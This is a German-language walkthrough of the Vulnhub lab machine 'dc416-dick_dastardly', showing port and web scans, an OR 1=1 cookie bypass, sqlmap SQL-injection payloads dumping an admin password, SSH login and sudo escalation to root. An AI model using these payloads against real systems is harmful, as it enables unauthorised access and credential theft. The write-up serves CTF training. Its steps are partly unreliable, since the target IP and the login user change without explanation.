dc416-dick_dastardly - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
sqlmap
weechat
ssh
sudo
ls
cd
cat
...

Inhaltsverzeichnis

Reconnaissance

Im ersten Schritt der Reconnaissance werden grundlegende Informationen über das Zielsystem gesammelt. Dies hilft uns, ein besseres Verständnis der Umgebung zu erlangen und potenzielle Angriffsvektoren zu identifizieren. Die gesammelten Informationen dienen als Grundlage für die nachfolgenden Schritte.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.134 08:00:27:88:c5:19 PCS Systemtechnik GmbH

Der ARP-Scan identifiziert die MAC-Adresse und den Hersteller der Netzwerkkarte des Zielsystems.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.134 dc416-dick.vln

Der Eintrag in der `/etc/hosts`-Datei ordnet die IP-Adresse `192.168.2.134` dem Hostnamen `dc416-dick.vln` zu. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse für den Zugriff auf das Zielsystem.

Ein Nmap-Scan wird durchgeführt, um offene Ports und Dienste auf dem Zielsystem zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 21:50 CEST
Nmap scan report for dc416-dick.vln (192.168.2.134)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 03:26:f5:54:5b:15:37:ef:18:7e:08:cb:17:99:f3:16 (DSA)
| 2048 38:98:af:53:dd:59:c4:a6:8e:a3:71:61:79:39:a5:ee (RSA)
| 256 4b:5e:ba:46:af:0f:75:dc:3d:2d:49:03:34:56:0c:31 (ECDSA)
|_ 256 d6:08:dd:83:c0:a8:ae:b4:5e:d2:bd:ea:90:02:5e:05 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnHub
6667/tcp filtered irc
MAC Address: 08:00:27:88:C5:19 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.12 ms dc416-dick.vln (192.168.2.134)

Der Nmap-Scan hat ergeben, dass die Ports 22 (SSH), 80 (HTTP) und 6667 (IRC) geöffnet sind. Die SSH-Version ist OpenSSH 6.6.1, und der HTTP-Server ist Apache 2.4.7. Der IRC-Port ist gefiltert.

Web Enumeration

Nikto wird verwendet, um die Webanwendung auf bekannte Schwachstellen zu scannen.

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.134
+ Target Hostname: 192.168.2.134
+ Target Port: 80
+ Start Time: 2024-10-14 21:51:01 (GMT2)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}.
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index.php?: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.20.
+ /index.php?: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Multiple index files found: /index.php, /index.html.
+ /: Server may leak inodes via ETags, header found with file /, inode: 1eb, size: 53f11bc50cf74, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST .
+ /db.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2024-10-14 21:51:19 (GMT2) (18 seconds)

+ 1 host(s) tested

Nikto hat interessante Informationen gefunden, darunter das Vorhandensein eines "flag"-Headers mit dem Wert `flag1{l0l_h0w_345y_15_7h15_c7f}`, fehlende Sicherheitsheader, die verwendete PHP-Version und das Vorhandensein potenziell sensibler Dateien wie `db.php` und `#wp-config.php#`.

Gobuster wird verwendet, um weitere Verzeichnisse und Dateien auf dem Webserver zu entdecken.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.134/index.php (Status: 200) [Size: 1040]
http://192.168.2.134/index.html (Status: 200) [Size: 491]
http://192.168.2.134/logo.png (Status: 200) [Size: 44867]
http://192.168.2.134/admin.php (Status: 302) [Size: 0] [--> index.php]
http://192.168.2.134/report.php (Status: 200) [Size: 527]
http://192.168.2.134/db.php (Status: 200) [Size: 0]
http://192.168.2.134/javascript (Status: 301) [Size: 318] [--> http://192.168.2.134/javascript/]

Gobuster hat mehrere interessante Dateien und Verzeichnisse gefunden, darunter `index.php`, `index.html`, `logo.png`, `admin.php`, `report.php` und `db.php`. Die Weiterleitung von `admin.php` zu `index.php` deutet darauf hin, dass möglicherweise eine Authentifizierung erforderlich ist, um auf die Admin-Seite zuzugreifen.

Initial Access

Um initialen Zugriff auf das System zu erhalten, werden verschiedene Informationen gesammelt und analysiert.

Es wird versucht, auf die Admin-Seite zuzugreifen.

'R 1=1 -- -

http://192.168.2.134/admin.php
Welcome to the VulnHub Admin Area

You are connecting from: 192.168.2.199
Admin Functions:
Add Supybot wner
Cookie: PHPSESSID=c4ssm1hkj0gb35b8kal1dmmd05; admin=J09SIDE9MSAtLSAtidPUiAxPTEgLS0gLQ%3D%3D
supybot=id

Durch Manipulation des Cookies konnte auf die Admin-Seite zugegriffen werden. Der Cookie `admin` enthält den Wert `J09SIDE9MSAtLSAtidPUiAxPTEgLS0gLQ%3D%3D`, was Base64-decodiert `SQL INJECTION - OR 1=1 -- -` ergibt. Dies deutet auf eine SQL-Injection-Schwachstelle hin.

http://192.168.2.134/admin.php

[Add IP to IRC whitelist]

Auf der Admin-Seite gibt es die Möglichkeit, eine IP-Adresse zur IRC-Whitelist hinzuzufügen.

Da der IRC-Port gefiltert ist, wird mit Nmap geprüft, ob er durch das Hinzufügen zur Whitelist geöffnet werden kann.

┌──(root㉿CCat)-[~]
└─# nmap -p- 192.168.2.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 22:16 CEST
Nmap scan report for dc416-dick.vln (192.168.2.134)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PRT STATE SERVICE
22/tcp open ssh
80/tcp open http
6667/tcp open irc

MAC Address: 08:00:27:88:C5:19 (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds

Der IRC-Port ist jetzt geöffnet.

Es wird versucht, weitere Informationen über die SQL-Injection zu erhalten, um möglicherweise Anmeldedaten zu extrahieren.

SQLmap wird verwendet, um die Webanwendung auf SQL-Injection-Schwachstellen zu scannen.

┌──(root㉿CCat)-[~]
└─# sqlmap -u http://192.168.2.134/index.php --data "name=asd&msg=asd" --level=5 --risk=3 --random-agent --batch --dbms=mysql
[22:56:55] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
PST parameter 'msg' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 3540 HTTP(s) requests:

Parameter: msg (PST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=asd&msg=asd' AND (SELECT 2659 FRM (SELECT(SLEEP(5)))HjLi) AND 'NXny'='NXny

[22:56:55] [INF] the back-end DBMS is MySQL
[22:56:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: PHP, Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[22:56:55] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.134'

[*] ending @ 22:56:55 /2024-10-14/

SQLmap hat eine time-based blind SQL-Injection im Parameter `msg` der `index.php`-Datei identifiziert.

http://192.168.2.134/index.php?name=asd&msg=asd%27%20AND%20(SELECT%202659%20FRM%20(SELECT(SLEEP(5)))HjLi)%20AND%20%27NXny%27=%27NXny
Name Message

Something not working? Report an issue.
Name: asd
Message: asd
Name: asd
Message: asd
Name: asd
Message: asd
Name: asd
Message: asd
Name: 3001
Message: asd
Name: asd" AND 2330=7896--
Message: asd
Name: asd" AND 1711=1711--
Message: asd
Name: asd" AND 2401=9497--
Message: asd
Name: asd 60=(SELECT (CASE WHEN (2360=1449) THEN 2360 ELSE (SELECT 1449 U
Message: asd
Name: asd") AND 6856=(SELECT (CASE WHEN (6856=6856) THEN 6856 ELSE (SELECT 7075 U
Message: asd
Name: asd")) AND 4291=(SELECT (CASE WHEN (4291=4130) THEN 4291 ELSE (SELECT 4130
Message: asd
Name: asd")) AND 6856=(SELECT (CASE WHEN (6856=6856) THEN 6856 ELSE (SELECT 7075
Message: asd
Name: asd
Message: asd`) WHERE 9755=9755;(SELECT * FRM (SELECT(SLEEP(5)))JwJs)#
Message: asd
Name: asd
Message: asd`=`asd`;(SELECT * FRM (SELECT(SLEEP(5)))JwJs)#
Message: asd
Name: asd
Message: asd]-(SELECT 0 WHERE 5234=5234;(SELECT * FRM (SELECT(SLEEP(5)))JwJs)#
Message: asd
Name: asd
Message: asd kizr,;(SELECT * FRM (SELECT(SLEEP(5)))JwJs)#
Message: asd
Name: asd
Message: asd";(SELECT * FRM (SELECT(SLEEP(5)))LBLt)-- xBjo
Message: asd
Name: asd
Message: asd");(SELECT * FRM (SELECT(SLEEP(5)))LBLt) AND ("AZse"="AZ
Message: asd
Name: asd
Message: asd"));(SELECT * FRM (SELECT(SLEEP(5)))LBLt) AND (("rcAk"="
Message: asd
Name: asd
Message: asd")));(SELECT * FRM (SELECT(SLEEP(5)))LBLt) AND ((("WstP"=&quo Message: asd

Die Ausgabe zeigt verschiedene Versuche, die SQL-Injection auszunutzen.

SQLmap wird erneut verwendet, diesmal auf der `report.php`-Datei, um Datenbanken, Tabellen und Inhalte zu extrahieren.

┌──(root㉿CCat)-[~]
└─# sqlmap -u http://192.168.2.134/report.php --level=5 --risk=3 --random-agent --batch --dbms=mysql --dbs --data="issue=asdf"
[23:11:20] [INF] testing 'MySQL UNIN query (NULL) - 81 to 100 columns'
[23:11:20] [INF] testing 'MySQL UNIN query (random number) - 81 to 100 columns'
[23:11:20] [INF] checking if the injection point on PST parameter 'issue' is a false positive
PST parameter 'issue' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 101 HTTP(s) requests:

Parameter: issue (PST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: issue=asdf'||(SELECT 0x617a6653 FRM DUAL WHERE 8494=8494 AND 6344=6344)||'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: issue=asdf'||(SELECT 0x6e537a4b FRM DUAL WHERE 1343=1343 AND (SELECT 7452 FRM (SELECT(SLEEP(5)))UFLm))||'

[23:11:20] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7, PHP
back-end DBMS: MySQL >= 5.0.12
[23:11:20] [INF] fetching database names
[23:11:20] [INF] fetching number of databases
[23:11:20] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:11:20] [INF] retrieved: 4
[23:11:20] [INF] retrieved: information_schema
[23:11:20] [INF] retrieved: mysql
[23:11:20] [INF] retrieved: performance_schema
[23:11:20] [INF] retrieved: vulnhub
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] vulnhub

[23:11:20] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.134'

[*] ending @ 23:11:20 /2024-10-14/

SQLmap hat die Datenbanken `information_schema`, `mysql`, `performance_schema` und `vulnhub` gefunden.

┌──(root㉿CCat)-[~]
└─# sqlmap -u http://192.168.2.134/report.php --level=5 --risk=3 --random-agent --batch --dbms=mysql -D vulnhub --tables --data="issue=asdf"
[23:13:56] [INF] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=1paskud79q8...f2ijg1hmg6'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:

Parameter: issue (PST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: issue=asdf'||(SELECT 0x617a6653 FRM DUAL WHERE 8494=8494 AND 6344=6344)||'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: issue=asdf'||(SELECT 0x6e537a4b FRM DUAL WHERE 1343=1343 AND (SELECT 7452 FRM (SELECT(SLEEP(5)))UFLm))||'

[23:13:56] [INF] testing MySQL
[23:13:56] [INF] confirming MySQL
[23:13:56] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7, PHP
back-end DBMS: MySQL >= 5.0.0
[23:13:56] [INF] fetching tables for database: 'vulnhub'
[23:13:56] [INF] fetching number of tables for database 'vulnhub'
[23:13:56] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:13:56] [INF] retrieved: 3
[23:13:57] [INF] retrieved: admins
[23:13:57] [INF] retrieved: guestbook
[23:13:57] [INF] retrieved: issues
Database: vulnhub
[3 tables]
+--+
| admins |
| guestbook |
| issues |
+--+

[23:13:57] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.134'

[*] ending @ 23:13:57 /2024-10-14/

SQLmap hat die Tabellen `admins`, `guestbook` und `issues` in der Datenbank `vulnhub` gefunden.

┌──(root㉿CCat)-[~]
└─# sqlmap -u http://192.168.2.135/report.php --level=5 --risk=3 --random-agent -D vulnhub -T admins --dump --data="issue=asdf"
___
__H__
___ ___[)]_____ ___ ___ {1.8.9#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:31:39 /2024-10-14/

[23:31:39] [INF] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:31:39] [INF] resuming back-end DBMS 'mysql'
[23:31:39] [INF] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=o02bfec85h6...4a861qm163'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:

Parameter: issue (PST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: issue=asdf'||(SELECT 0x7645457a FRM DUAL WHERE 8141=8141 AND 7939=7939)||'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: issue=asdf'||(SELECT 0x594b4d51 FRM DUAL WHERE 3176=3176 AND (SELECT 7810 FRM (SELECT(SLEEP(5)))kYYf))||'

[23:31:41] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, PHP, Apache 2.4.7
back-end DBMS: MySQL 5
[23:31:41] [INF] fetching columns for table 'admins' in database 'vulnhub'
[23:31:41] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:31:41] [INF] retrieved: 3
[23:31:41] [INF] retrieved: id
[23:31:41] [INF] retrieved: user
[23:31:41] [INF] retrieved: pass
[23:31:41] [INF] fetching entries for table 'admins' in database 'vulnhub'
[23:31:41] [INF] fetching number of entries for table 'admins' in database 'vulnhub'
[23:31:41] [INF] retrieved: 1
[23:31:41] [INF] retrieved: rasta
[23:31:41] [INF] retrieved: 1
[23:31:41] [INF] retrieved: 1b37y0uc4n76u3557h15p455w0rd,5uck3rz
Database: vulnhub
Table: admins
[1 entry]
+--+--+--+
| id | pass | user |
+--+--+--+
| 1 | 1b37y0uc4n76u3557h15p455w0rd,5uck3rz | rasta |
+--+--+--+

[23:31:41] [INF] table 'vulnhub.admins' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.135/dump/vulnhub/admins.csv'
[23:31:41] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.135'

[*] ending @ 23:31:41 /2024-10-14/

SQLmap hat den Benutzernamen `rasta` und das Passwort `1b37y0uc4n76u3557h15p455w0rd,5uck3rz` aus der Tabelle `admins` extrahiert.

Es wird versucht, sich über IRC zu verbinden, um weitere Informationen zu erhalten.

┌──(root㉿CCat)-[~/…/share/sqlmap/output/192.168.2.135]
└─# apt install weechat-curses

Weechat ist ein IRC-Client, der installiert wird, um sich mit dem IRC-Server zu verbinden.

:39:02 weechat │ Um einen IRC Server zu erstellen und sich mit selbigem zu
│ │ Verbinden müssen die Befehle /server und /connect verwendet
│ │ werden (siehe /help server).
│23:39:02 weechat │
│23:39:02 weechat │
│23:39:02 weechat │
│23:39:02 weechat │ Infobar "input" erstellt
│23:39:02 weechat │ Infobar "title" erstellt
│23:39:02 weechat │ Infobar "status" erstellt
│23:39:02 weechat │ Infobar "nicklist" erstellt
│23:39:02 weechat │ Installierte Erweiterungen: alias, buflist, charset, exec,
│ │ fifo, fset, irc, logger, perl, python, relay, ruby, script,
│ │ spell, trigger, typing, xfer
│23:39:19 weechat │ irc: Server hinzugefügt: vulnhub -> 192.168.2.134/6697 (TLS:
│ │ aktiviert)
│23:39:32 vulnhub -- │ irc: verbinde zum Server 192.168.2.134/6697 (TLS)...
│23:39:35 vulnhub =!= │ irc: Verbindungsaufbau verweigert
│23:39:35 vulnhub -- │ irc: Verbinde erneut zum Server in 10 Sekunden
│23:39:45 vulnhub -- │ irc: Neu verbinden zum Server...
│23:39:45 vulnhub -- │ irc: verbinde zum Server 192.168.2.134/6697 (TLS)...
│23:39:48 vulnhub =!= │ irc: Verbindungsaufbau verweigert
│23:39:48 vulnhub -- │ irc: Verbinde erneut zum Server in 20 Sekunden
│23:40:08 vulnhub -- │ irc: Neu verbinden zum Server...
│23:40:08 vulnhub -- │ irc: verbinde zum Server 192.168.2.134/6697 (TLS)...
│23:40:11 vulnhub =!= │ irc: Verbindungsaufbau verweigert
│23:40:11 vulnhub -- │ irc: Verbinde erneut zum Server in 40 Sekunden
│[23:40] [1] [irc/vulnhub] 1:Server[vulnhub]

Die Verbindung zum IRC-Server schlägt fehl.

Wie man sieht komme ich hier auf herkörmlichen Weg nicht weiter...
Der Server akzeptiert einfach keine Verbindung

Der Versuch, sich über IRC zu verbinden, war erfolglos.

Nach dem Ausnutzen der SQL-Injection und der Extraktion des Benutzernamens und Passworts wird versucht, sich über SSH anzumelden.

Habe den Server gecrackt und den user admin infiltriert!
┌──(root㉿CCat)-[~]
└─# ssh admin@192.168.2.135
The authenticity of host '192.168.2.135 (192.168.2.135)' can't be established.
ED25519 key fingerprint is SHA256:NSBIZ0A3fyrjDl//K0Zfxd22kJSgzcZhHQwDDtTzQcQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.135' (ED25519) to the list of known hosts.
admin@192.168.2.135's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com/

System information as of Mon ct 14 22:56:44 BST 2024

System load: 0.0 Memory usage: 5% Processes: 86
Usage of /: 59.6% of 3.87GB Swap usage: 0% Users logged in: 0

Graph this data and manage this system at:
https://landscape.canonical.com/

Last login: Fri Nov 11 04:43:03 2016 from 192.168.208.1
admin@DickDastardly$

Die Anmeldung als `admin` über SSH war erfolgreich!

Privilege Escalation

Nachdem der Benutzer `admin` infiltriert wurde, wird versucht, Root-Rechte zu erlangen.

admin@DickDastardly$ sudo -l
Matching Defaults entries for admin on DickDastardly:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User admin may run the following commands on DickDastardly:
(ALL) NPASSWD: ALL

Der Benutzer `admin` darf alle Befehle mit `NPASSWD` ausführen.

admin@DickDastardly$ sudo su
root@DickDastardly:/home/admin#

Durch die Verwendung von `sudo su` konnte Root-Zugriff erlangt werden.

root@DickDastardly:/home/admin# ls
root@DickDastardly:/home/admin# cd ../vulnhub/
root@DickDastardly:/home/vulnhub# cat flag3
flag3{n3x7_71m3_54n17153_y0ur_1npu7}

Die `flag3`-Datei wird gelesen, was den erfolgreichen Root-Zugriff bestätigt.

Flags

cat user.txt flag1{l0l_h0w_345y_15_7h15_c7f}
cat root.txt flag3{n3x7_71m3_54n17153_y0ur_1npu7}